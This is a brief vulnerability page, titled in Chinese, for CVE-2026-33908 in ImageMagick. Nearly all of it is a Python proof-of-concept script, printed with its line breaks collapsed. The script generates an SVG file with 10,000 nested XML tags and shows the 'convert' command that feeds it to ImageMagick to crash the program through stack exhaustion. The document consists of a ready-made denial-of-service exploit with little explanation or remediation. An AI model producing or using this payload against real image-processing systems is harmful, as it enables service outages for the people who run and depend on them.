CVE-2026-33908 ImageMagick 栈耗尽拒绝服务漏洞

import os # PoC for CVE-2026-33908: Stack Exhaustion via Deeply Nested XML # This script generates a malicious SVG file with deeply nested tags. def generate_poc_xml(filename, depth): """ Generates an XML file with nested elements to trigger stack overflow. """ # Start opening tags open_tags = [] for i in range(depth): open_tags.append(f"<tag{i}>") # Start closing tags (reverse order) close_tags = [] for i in range(depth - 1, -1, -1): close_tags.append(f"</tag{i}>") xml_content = f"""<svg version="1.1"> {''.join(open_tags)} <payload>Stack Exhaustion</payload> {''.join(close_tags)} </svg>""" with open(filename, "w") as f: f.write(xml_content) print(f"[+] Generated {filename} with nesting depth of {depth}") if __name__ == "__main__": # A depth of 10000 is typically sufficient to exhaust default stack limits poc_file = "cve_2026_33908_poc.svg" generate_poc_xml(poc_file, depth=10000) # Simulation of exploit execution print(f"[+] Usage: convert {poc_file} output.png") print("[+] Running this against a vulnerable ImageMagick version will cause a crash (Segmentation Fault).")